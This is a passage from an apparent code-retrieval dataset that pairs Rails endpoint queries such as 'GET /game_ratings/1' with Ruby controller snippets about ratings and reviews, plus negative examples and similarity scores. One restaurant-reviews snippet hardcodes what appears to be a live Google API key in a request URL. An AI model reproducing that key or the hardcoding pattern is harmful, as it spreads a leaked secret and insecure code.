|format|\n format.js\n end\n end", "def ratings\n ChgkRating::Collections::TeamRatings.new team: self\n end", "def get_review_ratings\n ratings = {\n prof: 0,\n enjoy: 0,\n difficulty: 0,\n recommend: 0\n }\n\n @reviews.each do |r|\n ratings[:prof] += r.professor_rating\n ratings[:enjoy] += r.enjoyability\n ratings[:difficulty] += r.difficulty\n ratings[:recommend] += r.recommend\n end\n\n ratings[:overall] = (ratings[:prof] + ratings[:enjoy] + ratings[:recommend]) / 3\n\n num_reviews = @reviews.length\n\n ratings.each_with_object({}) { |(k, v), h|\n h[k] = (v / num_reviews).round(2)\n }\n end", "def load_ratings (movie)\n\t\tmovie[\"ratings\"] = Rating.by_movie(movie[\"id\"])\n\tend", "def rating\n return nil unless ratings.length > 0\n (ratings.average(:value) / 0.25).round * 0.25\n end", "def show\n if params[:yelp_rating] && params[:google_rating] && params[:foursquare_rating]\n @ratings = {:yelp_rating => params[:yelp_rating], :foursquare_rating => params[:foursquare_rating], :google_rating => params[:google_rating], :weighted_rating => params[:weighted_rating]}\n end\n @social = {:yelp_id => params[:yelp_id], :foursquare_id => params[:foursquare_id], :google_id => params[:google_id]}\n if params[:google_id]\n @google_place = Restaurant.get_place_from_google params[:google_id]\n @google_reviews = @google_place.reviews\n @google_images = []\n @google_reviews.each do |review|\n str = review.author_url.to_s\n google_plus_id = str[24..-1]\n request = \"https://www.googleapis.com/plus/v1/people/\" + \"#{google_plus_id}\" + \"?fields=image&key=AIzaSyB8fUZUPNYIWKwz6Nss-Hu7J_2VUjFSOWA\"\n response = HTTParty.get(request)\n result = JSON.parse(response.body)\n\n if result[\"image\"]\n @google_images << result[\"image\"][\"url\"]\n else\n @google_images << nil\n end\n end\n\n end\n @yelp_reviews = Restaurant.get_restaurant_reviews_from_yelp params[:yelp_id]\n @foursquare_tips = Restaurant.get_venue_tips_from_foursquare params[:foursquare_id]\n \n @friend_recommendations = Recommendation.get_friend_recommedation_by_restaurant(params[:google_id], @registered_friends)\n end", "def index\n @reviews_and_ratings = ReviewsAndRating.all\n end", "def show\n @rating = UserRating.where(movie_id: @movie.id).average(:rating)\n if @rating\n @rating = @rating.round(1)\n else\n @rating = 0\n end\n end", "def index\n unless (logged_in? && authorized?)\n redirect_back_or_default('/')\n return\n end\n @ratings = Rating.find(:all, :conditions => {:pending => true})\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ratings }\n end\n end", "def index\n @component_ratings = ComponentRating.all\n end", "def rate(access_token:, params: {})\n ride_id = require_ride_id(params)\n resp = connection(access_token).put do |req|\n req.url \"/#{Api::VERSION}/rides/#{ride_id}/rating\"\n req.body = params\n end\n handle_response(resp)\n end", "def index\n @content_ratings = ContentRating.all\n end", "def create\n @game_rating = GameRating.new(game_rating_params)\n\n respond_to do |format|\n if @game_rating.save\n format.html { redirect_to @game_rating, notice: 'Game rating was successfully created.' }\n format.json { render :show, status: :created, location: @game_rating }\n else\n format.html { render :new }\n format.json { render json: @game_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def welcome\n @reviews = Review.all\n render json: @reviews\n end", "def index\n @stars = Star.all\n render :json => @stars\n end", "def show\n if @game.reviews.blank?\n @average_review = 0\n else\n @average_review = @game.reviews.average(:rating).round(2)\n end\n end", "def update_ratings\n tournament.rater.update_ratings(self)\n end", "def overall_rating\n overall_rating = 0.0\n rparams = params[:review]\n if rparams # sometimes ajax calls come in before dom is ready, it seems\n rparams = review_params(params).reject{|key,val| [\"excerpts_attributes\"].include?(key)}\n # For mini-reviews, since we don't display the trust question, we cannot use\n # the source rating value in computing the overall rating!\n if rparams[:form_version] =~ /mini/ && params[:source_ratings]\n rparams[:source_review] = SourceReview.new(:rating_attributes => params[:source_ratings]) \n end\n temp_review = Review.new(rparams)\n new_processed_ratings = Ratings::process(temp_review, true, nil)\n overall_rating = new_processed_ratings[0]['overall'] || 0.0\n end\n render :inline => {:rating => (\"%.1f\" % overall_rating), :percent => ((overall_rating.to_f / 5) * 100).to_i}.to_json\n end", "def ratings_with_feedback(version)\n if version == 'all'\n return MapRating.where(map_slug: slug).where.not(feedback: nil).order('map_version DESC').all\n elsif version == 'current'\n return MapRating.where(map_slug: slug, map_version: self.version).where.not(feedback: nil).all\n else\n return MapRating.where(map_slug: slug, map_version: version).where.not(feedback: nil).all\n end\n end", "def rate \n @user = User.find_from_param(params[:id])\n if @user.rateable_by?(current_user)\n @user.rate(params[:rate].to_i, current_user)\n render :layout => false, :text => \"#{@user.rating_count} votes\"\n else\n render :nothing => true, :status => :bad_request\n end\n end", "def show\n @group = Group.find(params['group_id'])\n @tournament = Tournament.find(params['tournament_id'])\n respond_to do | format |\n format.js\n format.html\n end\n @ratings = @event.rates(\"Rating\")\n end", "def rating\n cached_rating\n end", "def fetchMovieRatingAndYear(movieID)\n #Construct the URL used to access the API\n url = \"http://api.themoviedb.org/3/movie/#{movieID}/releases?api_key=#{$apiKey}\"\n #RESTful request\n data = JSON.parse(RestClient.get(url))\n #Pull out the list of releases from the parsed request\n countries = data[\"countries\"]\n #Get just the US release (including date and rating info) and return it\n us = countries.select{ |country| country[\"iso_3166_1\"]==\"US\"}\n return us[0]\nend", "def list_ratings\n final_result = []\n # grab all of the rating attributes and counts and turn them into an array\n rating_results = rating.count_attributes.to_a\n \n # order the rating counts and attributes\n ordered_results = []\n ['one', 'two', 'three', 'four'].each do |order|\n rating_results.each do |result|\n if order == result[0]\n ordered_results << result\n end\n end\n end\n \n # add in the friendly name\n for i in 0...ordered_results.length\n final_result << [AppConstants::FRIENDLY_RATING_NAMES[i],ordered_results[i][0],(ordered_results[i][1].to_f/total_votes.to_f)*100]\n end\n \n final_result\n end", "def show\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_score }\n end\n end", "def show\n @game = Game.find(params[:id])\n @matches = @game.player_matchups\n @scores = @game.scores\n @match_points = @matches.collect { |mp| @game.match_scores(mp.first, mp.last) }\n @net_points = @game.net_points\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end" ]
[ "0.771419", "0.7032027", "0.7032027", "0.7032027", "0.7023711", "0.70226836", "0.69158506", "0.6869383", "0.6686899", "0.66244346", "0.66244346", "0.66244346", "0.662329", "0.66206205", "0.65967506", "0.658551", "0.65697235", "0.65697235", "0.65697235", "0.6553288", "0.6545443", "0.64942974", "0.646011", "0.64440644", "0.64421856", "0.64347285", "0.6428864", "0.64180213", "0.63888705", "0.6366948", "0.6295951", "0.62820673", "0.62480336", "0.62186605", "0.6194831", "0.61913556", "0.6190359", "0.6180403", "0.61404514", "0.6112612", "0.61064464", "0.6102612", "0.6090946", "0.60887754", "0.6083247", "0.6079317", "0.6075103", "0.60720295", "0.6071298", "0.6035194", "0.60307336", "0.60305303", "0.6030392", "0.602918", "0.6025285", "0.60138154", "0.6013631", "0.60136235", "0.6010613", "0.5990026", "0.5989189", "0.59817904", "0.59817904", "0.5981738", "0.59815407", "0.59789944", "0.5978773", "0.5977964", "0.59708756", "0.596441", "0.59516037", "0.5949591", "0.5947923", "0.59400076", "0.5931311", "0.59183806", "0.5902812", "0.5897504", "0.5897093", "0.5892043", "0.5891074", "0.58902085", "0.58767706", "0.5873229", "0.58711904", "0.58705753", "0.5857506", "0.58498114", "0.5847131", "0.58454055", "0.5822709", "0.5816433", "0.5792271", "0.57822984", "0.57738924", "0.5773308", "0.57717496", "0.5764985", "0.5761646", "0.5754618" ]
0.7501716
1
GET /game_ratings/1 GET /game_ratings/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ratings\n Birdman::Requester.get(\"movies/#{id}/ratings\")\n end", "def index\n @game_ratings = GameRating.all\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def show\n authorize @workshop\n values = @workshop.ratings.pluck(:value)\n @average_rating = values.inject(&:+).to_f / values.size\n respond_to do |format|\n format.html\n format.json\n end\n end", "def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end", "def rating\n response[\"rating\"]\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating }\n end\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating }\n end\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating }\n end\n end", "def show\n @rating_alt = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating_alt }\n end\n end", "def show\r\n rating = Rating.where(rater_id: current_user.id, ratee_id: params[:id]).first\r\n render json: rating\r\n end", "def player_ratings\n Player.ratings(galaxy_id, Player.where(alliance_id: id))\n end", "def show\n @dev = User.find(params[:id])\n @ratings = RatingService::get_ratings(@dev)\n end", "def set_game_rating\n @game_rating = GameRating.find(params[:id])\n end", "def show\n @team_rating = TeamRating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_rating }\n end\n end", "def index\n @games = Game.where(user_id: session[:user_id])\n current_user_id = current_user.id\n @current_user_rating = UserRating.find_by(user_id:current_user_id).rating\n end", "def index\n @ratings = Rating.all\n end", "def index\n @ratings = Rating.all\n end", "def index\n @ratings = Rating.all\n end", "def ratings_ranking(*args)\n @client.get \"#{@path}/ratings/ranking\", Hash[*args]\n end", "def index\n @participant_ratings = ParticipantRating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participant_ratings }\n end\n end", "def get_ratings\n begin\n plate_no = params[:plate_no]\n taxi = Taxi.find_by!(plate_no: plate_no)\n if params.has_key? :last_timestamp\n #convert unix time to datetime object\n last_timestamp = Time.at(params[:last_timestamp].to_i).to_datetime\n\n rates = taxi.rates.where(\"updated_at < ?\", last_timestamp).order(\"updated_at DESC\").limit(10)\n else\n rates = taxi.rates.order(\"updated_at DESC\").limit(10)\n end\n\n rates = rates.map do |rate|\n {comment:rate.comment,\n timestamp:rate.updated_at.to_i,\n rating: rate.rating}\n end\n\n render json:{success:true, data:rates}\n rescue Exception => e\n render json:{success:false, message: e.to_s}\n end\n end", "def ratings_index\n @ratings = Rating.all\n # puts(@ratings.to_json(:only => [:review_title]))\n end", "def average_rating\n render json: { rating: { avg_rating: @movie.avg_rating } }\n end", "def rating\n # review = Review.where(user_id: user.id, video_id: video.id).first\n #review = Review.find_by(user_id: user.id, video_id: video.id)\n review.rating if review\n end", "def index\n user = User.find_by(id: params[:user_id])\n return :ratings => [], :status => :not_found if user.nil?\n\n result = []\n # generate pending ratings\n if params.has_key?(:pending)\n user.rides_as_passenger.each do |ride|\n if Rating.find_by(from_user_id: user.id, to_user_id: ride.driver.id, ride_id: ride.id).nil?\n pending_rating = {}\n pending_rating[:from_user_id] = user.id\n pending_rating[:to_user_id] = ride.driver.id\n pending_rating[:ride_id] = ride.id\n result.append(pending_rating)\n end\n end\n respond_with ratings: result, status: :ok\n else\n #generate ratings given\n ratings = user.ratings_given + user.ratings_received\n result = []\n ratings.each do |r|\n rating = {}\n rating[:from_user_id] = r[:from_user_id]\n rating[:to_user_id] = r[:to_user_id]\n rating[:ride_id] = r[:ride_id]\n result.append(rating)\n end\n respond_with ratings: result, status: :ok\n end\n end", "def index\n @games = current_user.games.page params[:page]\n @rated = 100 * (current_user.games.count(:rating).to_f / @games.total_entries) \n authorize! :index, Game # can't pass in @games, apparently\n end", "def show\n @participant_rating = ParticipantRating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant_rating }\n end\n end", "def index\n respond_with Rating.all\n\n \n end", "def rating\n rating_calculator.rate(raters)\n end", "def rating\n r = Rating.create_from_database(rating_id.to_i)\n r.rating\n end", "def show\n @school_rating = SchoolRating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_rating }\n end\n end", "def show\n @tv_episode = TvEpisode.find(params[:id])\n @IMDBrating = Rating.rating(\"TvEpisode\",\"tv_episodes\",params[:id],'IMDB').to_a[0]\n @TVDBrating = Rating.rating(\"TvEpisode\",\"tv_episodes\",params[:id],'TVDB').to_a[0]\n\n\n if [email protected]?\n @IMDBrating = @IMDBrating.average[0..2]\n else\n @IMDBrating = \"N/A\"\n end\n\n if [email protected]?\n @TVDBrating = @TVDBrating.average[0..2]\n else\n @TVDBrating = \"N/A\"\n end\n\n @reviews = TvEpisode.reviews(@tv_episode.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tv_episode }\n end\n end", "def game_rating_params\n params.require(:game_rating).permit(:game_id, :rating)\n end", "def show\n @reviews = Review.where(videogame_id: @videogame.id).order(\"created_at DESC\")\n \n if @reviews.blank?\n @avg_rating = 0\n else\n @avg_rating = @reviews.average(:rating).round(2)\n end\n end", "def rating(food)\n url = 'https://thereportoftheweek-api.herokuapp.com/reports'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n result = JSON.parse(response)\n puts result[7]['product']\n \n end", "def update\n respond_to do |format|\n if @game_rating.update(game_rating_params)\n format.html { redirect_to @game_rating, notice: 'Game rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @game_rating }\n else\n format.html { render :edit }\n format.json { render json: @game_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def ratings\n to_return = {}\n players_array = self.players.to_a\n if players_array.size > 2\n to_return = {players_array[0].id => create_rating(players_array[0], players_array[1]), \n players_array[1].id => create_rating(players_array[1], players_array[0])}\n end\n to_return\n end", "def listing_ratings\n review_ids = Review.where(listing_id: listings.select(:id).collect(&:id)).select(&:id).collect(&:id)\n ReviewRating.where(review_id: review_ids)\n end", "def index_ratings\n @rating = Rating.all\n end", "def index\n \n # if params[:dress_id]\n # @dress = Dress.find(params[:dress_id])\n @ratings = Rating.all\n render json: @ratings, except:[:created_at, :updated_at] ,status: 200\n \n # else \n # @ratings= Rating.all\n # binding.pry \n # end\n end", "def rating\n Rating.average(:rating, :conditions => [\"sight_id = ?\", self.id])\n end", "def rating\n @rating\n end", "def rating\n reviews.average(:rating)\n end", "def rating #Getter\n @rating\n end", "def rating_params\n params.require(:rating).permit(:score, :game_id)\n end", "def num_ratings \n 5\n end", "def rating\r\n\t\t@rating\r\n\tend", "def evaluate\n puts params[:rating].inspect.yellow\n params[:ratings].each do |tenant, report|\n participant = @game.participants.find_by(tenant: tenant)\n if participant\n participant.ratings.create!(report: report, rated_at: Time.parse(report[:stopped_at]))\n else\n puts \"Cannot find participant #{tenant}\"\n end\n end\n render json: { status: 'ok' }\n end", "def ratings_breakdown(version = self.version)\n if version == 'all'\n ratings_query = MapRating.where(map_slug: slug).select(:rating)\n elsif version == 'current'\n ratings_query = MapRating.where(map_slug: slug, map_version: self.version).select(:rating)\n else\n ratings_query = MapRating.where(map_slug: slug, map_version: version).select(:rating)\n end\n\n ratings = {}\n 5.times do |t|\n ratings[t + 1] = ratings_query.where(rating: t + 1).size\n end\n ratings\n end", "def show\n @movie = Movie.find(params[:id])\n @current_users_rating ||= @movie.ratings.where(user: current_user).pick(:rating)\n \n if @movie.ratings.any?\n @average_rating = @movie.ratings.average(:rating).round(2) \n @ratings_count = @movie.ratings.count(:rating)\n end\n end", "def statistics\n ratings = Restaurant.within(params[:latitude],\n params[:longitude],\n params[:radius]).pluck(:rating)\n render json: {\n count: ratings.length,\n avg: ratings.mean,\n std: ratings.standard_deviation\n }\n end", "def show\n @rating = UserRating.where(movie_id: @movie.id).average(:rating)\n if @rating\n @rating = @rating.round(1)\n else\n @rating = 0\n end\n end", "def index\n @engine_ratings = EngineRating.all\n end", "def show\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_score }\n end\n end", "def fetchMovieRatingAndYear(movieID)\n #Construct the URL used to access the API\n url = \"http://api.themoviedb.org/3/movie/#{movieID}/releases?api_key=#{$apiKey}\"\n #RESTful request\n data = JSON.parse(RestClient.get(url))\n #Pull out the list of releases from the parsed request\n countries = data[\"countries\"]\n #Get just the US release (including date and rating info) and return it\n us = countries.select{ |country| country[\"iso_3166_1\"]==\"US\"}\n return us[0]\nend", "def rating\n cached_rating\n end", "def index\n @album_ratings = AlbumRating.all\n end", "def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end", "def show\n\t\t@widget = Widget.find(params[:id])\n\t\t@rate = @widget.ratings.average :rate\n\tend", "def index\n @effort_ratings = EffortRating.all.page(params[:page]).per(50)\n end", "def index\n @rating_scores = RatingScore.all\n end", "def show_rating(opts={})\r\n opts[:output] = 'json'\r\n opts[:callback] = 'callback'\r\n Yahoo::Request.get(\"http://auctions.yahooapis.jp/AuctionWebService/V1/ShowRating\", Yahoo::Api.merge(opts))\r\n end", "def rating\n return @rating if @rating\n result = PublicEarth::Db::Collection.one.rating(self.id)\n @rating = { :average_rating => result['average_rating'].to_f, :rating_count => result['rating_count'].to_i } rescue nil\n end", "def index\n reviews = Review.all\n render json: reviews\n end", "def index\n reviews = Review.all\n render json: reviews\n end", "def rate\n clas = params[:rating_for_class]\n @rate = clas == \"discussion\" ? Discussion.find(params[:id]) : (clas == 'comment' ? Comment.find(params[:id]) : Picture.find(params[:id]))\n @rate.rate_it(params[:score], current_user)\n respond_to do |format|\n format.js\n end\n end", "def scores\n ids = params[:ids].is_a?(Array) ? params[:ids] : params[:ids].split(/ |\\+/).collect{|i|i.to_i}\n posts = Post.where(id: ids).select('id,score').to_a\n if logged_in?\n rated = current_user.ratings_for(*posts)\n response.headers['Cache-Control'] = 'private'\n else\n response.headers['Cache-Control'] = 'public'\n end\n\n m = {}\n\n posts.each do |r|\n id = r.id\n json = {score: r.score}\n if rated\n json['rated'] = rated[id]\n end\n m[id] = json\n end\n\n respond_to do |format|\n format.json {\n render :json => m\n }\n end\n end", "def create\n @game_rating = GameRating.new(game_rating_params)\n\n respond_to do |format|\n if @game_rating.save\n format.html { redirect_to @game_rating, notice: 'Game rating was successfully created.' }\n format.json { render :show, status: :created, location: @game_rating }\n else\n format.html { render :new }\n format.json { render json: @game_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rate\n @route = Route.find(params[:id])\n @route.rate_all_dimensions(params[:rating], current_user)\n\n render :update do |page|\n page.hide \"rate\"\n page.replace \"rates\", :partial => \"shared/rates\", :locals => {:rated => @route}\n page.show \"rates\"\n page.visual_effect :highlight, \"rates\"\n page << javascript_rating(@route, params[:rating])\n end\n end", "def getSchoolRating\n\t\n\t\t\n\t\t@Ratings = Rating.select('(sum(rate1+rate2+rate3+rate4))/4.0 as Total_Rating').where(\"school_id = \"+params[:School_id]+\"\").group(\"school_id\")\n\t\trender json: @Ratings.to_json\n\t \t#head :no_content\n\tend", "def rating\n return nil unless ratings.length > 0\n (ratings.average(:value) / 0.25).round * 0.25\n end", "def index\n @meal_ratings = MealRating.all\n end", "def show\n if @game.reviews.blank?\n @average_review = 0\n else\n @average_review = @game.reviews.average(:rating).round(2)\n end\n end", "def rating_params\n params[:rating]\n end", "def index\n @stars = Star.all\n render :json => @stars\n end", "def show\n if params[:yelp_rating] && params[:google_rating] && params[:foursquare_rating]\n @ratings = {:yelp_rating => params[:yelp_rating], :foursquare_rating => params[:foursquare_rating], :google_rating => params[:google_rating], :weighted_rating => params[:weighted_rating]}\n end\n @social = {:yelp_id => params[:yelp_id], :foursquare_id => params[:foursquare_id], :google_id => params[:google_id]}\n if params[:google_id]\n @google_place = Restaurant.get_place_from_google params[:google_id]\n @google_reviews = @google_place.reviews\n @google_images = []\n @google_reviews.each do |review|\n str = review.author_url.to_s\n google_plus_id = str[24..-1]\n request = \"https://www.googleapis.com/plus/v1/people/\" + \"#{google_plus_id}\" + \"?fields=image&key=AIzaSyB8fUZUPNYIWKwz6Nss-Hu7J_2VUjFSOWA\"\n response = HTTParty.get(request)\n result = JSON.parse(response.body)\n\n if result[\"image\"]\n @google_images << result[\"image\"][\"url\"]\n else\n @google_images << nil\n end\n end\n\n end\n @yelp_reviews = Restaurant.get_restaurant_reviews_from_yelp params[:yelp_id]\n @foursquare_tips = Restaurant.get_venue_tips_from_foursquare params[:foursquare_id]\n \n @friend_recommendations = Recommendation.get_friend_recommedation_by_restaurant(params[:google_id], @registered_friends)\n end", "def _get_selected_ratings\n if !params[:ratings].nil?\n return params[:ratings]\n end\n if !session[:ratings].nil?\n @redirect_required = true\n ratings = session[:ratings]\n session.delete(:ratings)\n ratings\n end\n end", "def show\n @review = Review.find(params[:id])\n render json: @review\n end", "def show\n @overall = overall_rating\n end", "def index\n @dish_ratings = DishRating.all\n end", "def index_by_user\n @gifts = @current_user.gifts\n render json: @gifts, include: :ages, status: :ok\n end", "def index\n @place_ratings = PlaceRating.all\n end", "def get_rate(id:)\n @client.http_get(\"/#{@resource}/#{id}/rate\")\n end", "def rate(access_token:, params: {})\n ride_id = require_ride_id(params)\n resp = connection(access_token).put do |req|\n req.url \"/#{Api::VERSION}/rides/#{ride_id}/rating\"\n req.body = params\n end\n handle_response(resp)\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rating }\n end\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rating }\n end\n end", "def rating\n rating_id.get_object.name\n end", "def rate \n @user = User.find_from_param(params[:id])\n if @user.rateable_by?(current_user)\n @user.rate(params[:rate].to_i, current_user)\n render :layout => false, :text => \"#{@user.rating_count} votes\"\n else\n render :nothing => true, :status => :bad_request\n end\n end", "def index\n unless (logged_in? && authorized?)\n redirect_back_or_default('/')\n return\n end\n @ratings = Rating.find(:all, :conditions => {:pending => true})\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ratings }\n end\n end", "def set_rating\n @rating = Rating.find(params[:id])\n end", "def set_rating\n @rating = Rating.find(params[:id])\n end", "def set_rating\n @rating = Rating.find(params[:id])\n end", "def update\n if logged_in?\n @user = current_user\n @rating = Rating.where(user_id: @user.id, movie_id: params[:movie_id]).first\n respond_to do |format|\n if @rating.update(user_id: @user.id, movie_id: params[:movie_id], rating: params[:rating])\n format.json { render json: @rating }\n else\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n else\n format.json { head :no_content }\n end\n end", "def update_ratings\n tournament.rater.update_ratings(self)\n end", "def welcome\n @reviews = Review.all\n render json: @reviews\n end", "def index\n @idea = Idea.find(params[:idea_id])\n #@idea_ratings = IdeaRating.all\n end", "def index\n @content_ratings = ContentRating.all\n end", "def show\n @game = Game.find(params[:id])\n @matches = @game.player_matchups\n @scores = @game.scores\n @match_points = @matches.collect { |mp| @game.match_scores(mp.first, mp.last) }\n @net_points = @game.net_points\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end" ]
[ "0.7604909", "0.73535615", "0.7030506", "0.7030506", "0.7030506", "0.7018404", "0.70103246", "0.69156855", "0.6829395", "0.6829395", "0.6829395", "0.68279225", "0.6776494", "0.671239", "0.6661828", "0.66460997", "0.66101944", "0.6605062", "0.6581689", "0.6581689", "0.6581689", "0.65439254", "0.6503631", "0.6472766", "0.6428501", "0.6384125", "0.635105", "0.6348223", "0.63253695", "0.6314792", "0.62932473", "0.6291908", "0.6261827", "0.62461716", "0.622801", "0.62203145", "0.61605555", "0.61605144", "0.6157411", "0.6151321", "0.6137564", "0.6132476", "0.61057574", "0.6102379", "0.6086391", "0.60794896", "0.60754275", "0.6068854", "0.6055127", "0.6040128", "0.6024972", "0.60239816", "0.6021296", "0.60199594", "0.60190755", "0.599725", "0.59928596", "0.5990102", "0.5987781", "0.5970395", "0.5970321", "0.5969213", "0.5966948", "0.59664005", "0.5963478", "0.5959447", "0.5956589", "0.5956589", "0.59484625", "0.59422076", "0.5919921", "0.5919757", "0.5914968", "0.5908509", "0.5907016", "0.5900421", "0.589832", "0.58974606", "0.58939046", "0.58895284", "0.5877799", "0.5873914", "0.58680034", "0.5853363", "0.58526933", "0.585243", "0.58399034", "0.58339125", "0.58331156", "0.5831875", "0.5827947", "0.58213097", "0.5812646", "0.5812646", "0.5812646", "0.58065516", "0.57944053", "0.5790863", "0.5788033", "0.57870555", "0.5784343" ]
0.0
-1
POST /game_ratings POST /game_ratings.json
def create @game_rating = GameRating.new(game_rating_params) respond_to do |format| if @game_rating.save format.html { redirect_to @game_rating, notice: 'Game rating was successfully created.' } format.json { render :show, status: :created, location: @game_rating } else format.html { render :new } format.json { render json: @game_rating.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def game_rating_params\n params.require(:game_rating).permit(:game_id, :rating)\n end", "def rating_params\n params.require(:rating).permit(:score, :game_id)\n end", "def evaluate\n puts params[:rating].inspect.yellow\n params[:ratings].each do |tenant, report|\n participant = @game.participants.find_by(tenant: tenant)\n if participant\n participant.ratings.create!(report: report, rated_at: Time.parse(report[:stopped_at]))\n else\n puts \"Cannot find participant #{tenant}\"\n end\n end\n render json: { status: 'ok' }\n end", "def create\r\n rating = Rating.create(score: params[:score], comment: params[:comment], rater_id: current_user.id, ratee_id: params[:ratee_id])\r\n\r\n if rating.save\r\n render json: rating\r\n else\r\n render json: { error: \"Rating creating error\" }, status: :unprocessable_entity\r\n end\r\n end", "def rating\n @rating = @movie.ratings.new(rating_params)\n @rating.user_id = current_user.id\n if @rating.save\n render json: { message: \"Rating Created\", data: @rating }, status: 200\n else\n render json: { message: \"Rating not Created\" }, status: 422\n end\n end", "def rate_post(rating)\n mock_request = Rack::MockRequest.new(APP)\n mock_request.put(rate_post_endpoint, { 'router.params' => { rating: rating }, format: :json })\n end", "def rating_params\n params.require(:rating).permit(:rank, :fragrance_id, :user_id)\n end", "def create\n @rating = Plugins::CamaleonCmsRating::Rating.new(\n score: params[:score],\n post_id: params[:post_id],\n rater_id: cama_current_user.try(:id)\n )\n\n head @rating.save ? :ok : :bad_request\n end", "def rating_params\n params.require(:rating).permit(:rating, :user_id, :post_id)\n end", "def create\n @rating = Rating.new(params[:rating])\n\n respond_to do |format|\n if @rating.save\n format.html { redirect_to @rating, notice: 'Rating was successfully created.' }\n format.json { render json: @rating, status: :created, location: @rating }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @game_ratings = GameRating.all\n end", "def rating_params\n params.require(:rating).permit(\"food\", \"drinks\", \"talks\", \"vibe\")\n end", "def ratings\n Birdman::Requester.get(\"movies/#{id}/ratings\")\n end", "def create\n @rating = Rating.new(params[:rating])\n facebook_id = params[:rating][:user_id]\n @user = User.find_by_facebook_id(facebook_id)\n @rating.user_id = @user.id\n dish = Dish.find(params[:rating][:dish_id]) \n @rating.dish_id = dish.id \n \n respond_to do |format|\n if @rating.save\n if @rating.value == 1\n dish.upvotes += 1\n else\n dish.downvotes += 1\n end\n dish.save\n format.html { redirect_to @rating, notice: 'Rating was successfully created.' }\n format.json { render json: @rating, status: :created, location: @rating }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fragrance = Fragrance.find(params[:fragrance_id])\n @rating = Rating.new(rating_params)\n @rating.user = @current_user\n @rating.fragrance = @fragrance\n\n if @rating.save\n render json: @rating, status: :created\n else\n render json: @rating.errors, status: :unprocessable_entity\n end\n end", "def create\n # work around the jquery rating plugin we're using\n if params[:id] and params[:rating].is_a?(String)\n params[:rating] = { :score => params[:rating], :dream_id => params[:id] }\n end\n \n # Slightly ugly, but for now we're letting users overwrite their previous\n # ratings.\n @rating = current_user.ratings.find_or_initialize_by_dream_id(params[:rating])\n @rating.attributes = params[:rating] unless @rating.new_record?\n\n respond_to do |format|\n if @rating.save\n format.html { flash[:notice] = 'Rating was successfully created.'; redirect_to(@rating.dream) }\n format.js { render :text => @rating.dream.ratings.average(:score), :status => :created }\n format.xml { render :xml => @rating, :status => :created, :location => @rating }\n else\n format.html { render :action => \"index\" }\n format.js { render :status => '400 Bad Request' } \n format.xml { render :xml => @rating.errors, :status => :unprocessable_entity }\n end\n end\n end", "def rating_params\n params.require(:rating).permit(:user_id, :rate, :answer_id)\n end", "def rating_params\n params.require(:rating).permit(\n :movie_id, :user_id, :score\n )\n end", "def set_game_rating\n @game_rating = GameRating.find(params[:id])\n end", "def create\n idea = Idea.find_by_id(params[:idea_id])\n user_rating = UserRating.new(params[:rating])\n user_rating.rating_id = params[:rating_id]\n user_rating.user_id = current_user.id\n\n if user_rating.save\n saved_rating = UserRating.where('rating_id' => params[:rating_id])\n\n if saved_rating.size != 0\n rating = Rating.find_by_id(params[:rating_id])\n average_rating = 0\n\n saved_rating.each do |sr|\n average_rating = average_rating.to_i + sr.value.to_i\n end\n\n if current_user.provider == 'twitter' && current_user.facebook_share\n current_user.twitter.update(\"I've rated an idea on #Idearator ! available on: \" + root_url + \"ideas/\" + idea.id.to_s) rescue Twitter::Error\n end\n\n rating.value = average_rating.to_f / saved_rating.size.to_f\n rating.save\n end\n\n respond_to do |format|\n format.html { redirect_to idea, :notice => 'Your rating has been saved successfully!' }\n format.js\n end\n else\n respond_to do |format|\n format.html { redirect_to idea, :alert => 'Your rating has not been saved, please retry!' }\n format.js\n 